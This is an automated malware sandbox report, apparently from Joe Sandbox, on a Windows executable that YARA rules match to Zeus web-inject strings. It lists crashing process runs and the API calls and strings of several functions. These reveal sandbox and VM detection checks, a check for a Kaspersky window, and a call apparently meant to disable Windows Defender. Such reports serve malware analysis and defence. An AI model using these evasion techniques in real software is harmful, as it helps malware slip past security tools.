Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:51:04
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 2076
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:51:06
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2647909784.0000000002D80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:51:07
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2694402665.0000000002AB0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:51:09
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6628 -s 968
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:51:10
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000018.00000002.2707315071.0000000002560000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:51:10
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 1008
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:51:12
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:51:12
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 832
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:51:14
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:51:15
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 1008
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:51:16
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000021.00000002.2737098756.0000000002670000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000021.00000002.2735290502.0000000000B00000.00000040.00000010.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:51:18
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3328 -s 1244
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:51:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:51:20
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 908
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:51:21
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	65.2%
Total number of Nodes:	244
Total number of Limit Nodes:	11

Executed Functions

Function 00402C10 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 157
librarywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(user32.dll), ref: 00402C21
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402C35

Part of subcall function 00403900: RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
Part of subcall function 00403900: RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
Part of subcall function 00403900: RegCloseKey.ADVAPI32(?), ref: 00403973
Part of subcall function 00403900: GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
Part of subcall function 00403900: CharUpperA.USER32(?), ref: 004039C6
Part of subcall function 00403900: strstr.MSVCRT ref: 004039DE
Part of subcall function 00403900: strstr.MSVCRT ref: 004039F7
Part of subcall function 00403900: strstr.MSVCRT ref: 00403A10
Part of subcall function 00403900: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
Part of subcall function 00403900: GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
Part of subcall function 00403900: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87

ExitProcess.KERNEL32 ref: 00402C46
FindWindowA.USER32(____AVP.Root,00000000), ref: 00402C5D
GetTickCount.KERNEL32 ref: 00402C69
PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402C7B
IsUserAnAdmin.SHELL32 ref: 00402C9B
ExitProcess.KERNEL32 ref: 00402CAC

Strings

winlogon.exe, xrefs: 00402DBB, 00402E1D
IsWow64Process, xrefs: 00402CDD
Fri Jun 17 05:52:09 20112, xrefs: 00402D86, 00402D96, 00402DE8, 00402DF8
____AVP.Root, xrefs: 00402C58
Pn7w, xrefs: 00402DB1, 00402E13
user32.dll, xrefs: 00402C1C
kernel32.dll, xrefs: 00402CC5
explorer.exe, xrefs: 00402DC2, 00402DC7, 00402E24, 00402E29
\apppatch\, xrefs: 00402D06, 00402D56

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Namestrstr$ExitFileModuleProcessUser$AdminCharCloseCountDirectoryFindInformationLibraryLoadMessageOpenPostQuerySystemTickUpperValueVolumeWindowWindows
String ID: Fri Jun 17 05:52:09 20112$IsWow64Process$Pn7w$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
API String ID: 3353599405-700788231
Opcode ID: bc37064e32afb366b102f5e82575ccf3b4a8d8f59925a4562639c9f879143649
Instruction ID: a8c301d2fd554ff8a4c2a18cdd62ad6e0f77d76d1eb59a281ca00d7aee5c603c
Opcode Fuzzy Hash: bc37064e32afb366b102f5e82575ccf3b4a8d8f59925a4562639c9f879143649
Instruction Fuzzy Hash: FC515EB1640201A7EB1077B1EF0EB5B3668AF94B45F10413ABB05B61E1EBFC8D4586AD

Function 00403900 Relevance: 47.4, APIs: 15, Strings: 12, Instructions: 134
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
RegCloseKey.ADVAPI32(?), ref: 00403973
RegCloseKey.ADVAPI32(?), ref: 0040397F
GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
CharUpperA.USER32(?), ref: 004039C6
strstr.MSVCRT ref: 004039DE
strstr.MSVCRT ref: 004039F7
strstr.MSVCRT ref: 00403A10
GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
StrStrIA.KERNELBASE(?,\sand-box\), ref: 00403A9F
StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AB1
StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403AC3

Strings

HARDWARE\DESCRIPTION\System, xrefs: 00403915
\sand-box\, xrefs: 00403A93
VIRUSCLONE, xrefs: 00403A0A
\cwsandbox\, xrefs: 00403AA5
\sandbox\, xrefs: 00403AB7
U, xrefs: 004039A0
SystemBiosVersion, xrefs: 0040395B
MALNETVM, xrefs: 004039F1
Q, xrefs: 00403985
E, xrefs: 0040398E
SANDBOX, xrefs: 004039D8
M, xrefs: 00403997

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: strstr$CloseName$CharDirectoryFileInformationModuleOpenQuerySystemUpperUserValueVolumeWindows
String ID: E$HARDWARE\DESCRIPTION\System$M$MALNETVM$Q$SANDBOX$SystemBiosVersion$U$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\
API String ID: 1431998568-3499098167
Opcode ID: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
Instruction ID: c92bd0b18e501642bc8da1a15e04f066bbee5c1b1fab61bbe3854025ca4dfe5f
Opcode Fuzzy Hash: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
Instruction Fuzzy Hash: 8741D8B1A50218A7DB20DB90CD4AFEF7B7C9B94705F1440AAE744B51C0D7B99B84CFA8

Function 004020B0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 004021F3
DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402223
CloseHandle.KERNEL32(00000000), ref: 0040222A

Strings

E, xrefs: 0040219C
", xrefs: 00402187
4, xrefs: 004021B8
m, xrefs: 004021E2
", xrefs: 0040215A
s, xrefs: 00402172
D, xrefs: 004021B1
t, xrefs: 004021D4
m, xrefs: 004021CD
\\.\KmxAgent, xrefs: 004020C8
d, xrefs: 00402153
0, xrefs: 004021BF
t, xrefs: 004021E9
T, xrefs: 004021AA
E, xrefs: 004021A3
e, xrefs: 0040216B
g, xrefs: 00402179
S, xrefs: 00402195

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
API String ID: 33631002-3172865025
Opcode ID: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
Instruction ID: e7d083a3d342eb0d1741576d2c48f75b21a67eac2e30cb69abab2c03069a185e
Opcode Fuzzy Hash: 9681e669b6bc70e9123dd5980162aec26310b354dbad36ed1e8ea522fa3927e4
Instruction Fuzzy Hash: 384184B0D01358DEEB20CF959988BDEFEB5BB04308F5081AED5186B281C7B90A89CF55

Function 00401A30 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 103
memoryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010A0: CreateFileA.KERNELBASE('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
Part of subcall function 004010A0: GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
Part of subcall function 004010A0: RtlAllocateHeap.NTDLL(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
Part of subcall function 004010A0: memset.MSVCRT ref: 00401114
Part of subcall function 004010A0: ReadFile.KERNELBASE(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
Part of subcall function 004010A0: HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
Part of subcall function 004010A0: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
Part of subcall function 004010A0: HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
Part of subcall function 004010A0: GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
Part of subcall function 004010A0: CloseHandle.KERNELBASE(00000000,?,00401A54,00000000,00000000), ref: 00401184
Part of subcall function 004010A0: IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194

RtlImageNtHeader.NTDLL(00000000), ref: 00401A5F
GetTickCount.KERNEL32 ref: 00401A77
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 00401A88
GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401A98
CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 00401ADC
WriteFile.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00401AF9
SetEndOfFile.KERNELBASE(00000000), ref: 00401B04
GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401B1A
CloseHandle.KERNELBASE(00000000), ref: 00401B2B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B3A
HeapValidate.KERNEL32(00000000), ref: 00401B3D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401B4A
RtlFreeHeap.NTDLL(00000000), ref: 00401B4D

Strings

'+@, xrefs: 00401A36
ntdll.dll, xrefs: 00401A83
RtlUniform, xrefs: 00401A92

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$File$HandleProcess$CloseCreateFreeInformationValidateWrite$AddressAllocateCountHeaderImageModuleProcReadSizeTickmemset
String ID: '+@$RtlUniform$ntdll.dll
API String ID: 444222748-2605303930
Opcode ID: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
Instruction ID: 5333274c7b5ae32bd68dbaed39568bfcb3f6f97b50696231050ce748e7cb221e
Opcode Fuzzy Hash: a684177415ef1389c265edc60bbb787380eb140592000129f1f3a54920f38112
Instruction Fuzzy Hash: 083181B1601304ABE710AB75DD49F5B3AACAB84755F458136FF05F72E0EB78D9008AA8

Function 004010A0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
RtlAllocateHeap.NTDLL(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
memset.MSVCRT ref: 00401114
ReadFile.KERNELBASE(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
CloseHandle.KERNELBASE(00000000,?,00401A54,00000000,00000000), ref: 00401184
IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194

Strings

'+@, xrefs: 004010C5

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Heap$FileProcess$Handle$AllocateCloseCreateFreeInformationReadSizeValidateWritememset
String ID: '+@
API String ID: 995291462-3270456718
Opcode ID: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
Instruction ID: 9704cbedb43cf1f0123ea2a6f6cc4f04c30b9336f8140f0f9319c9250b15b478
Opcode Fuzzy Hash: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
Instruction Fuzzy Hash: EF3176B2A01214ABD7109BA59D48F6B7B6CEB88B51F144236FF04F7290D7349D0186A8

Function 00401FC0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401FFE
SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402014
PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040202A
SetCurrentDirectoryA.KERNELBASE(?), ref: 00402037
LoadLibraryA.KERNELBASE(MpClient.dll), ref: 00402046
GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040205B
FreeLibrary.KERNELBASE(00000000), ref: 0040208C

Strings

WDEnable, xrefs: 00402055
MpClient.dll, xrefs: 00402041
V,@, xrefs: 00402092
Windows Defender, xrefs: 0040201E

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
String ID: MpClient.dll$V,@$WDEnable$Windows Defender
API String ID: 1010965793-4204822615
Opcode ID: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
Instruction ID: d5d199d1064221ab56ad58356cdb5c20067bd4798bc980eb12739ab0272296c4
Opcode Fuzzy Hash: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
Instruction Fuzzy Hash: E711A8B1900355ABC7219F649D49FABBB7CFB48751F10067AFB55B21D0D6784E008AA8

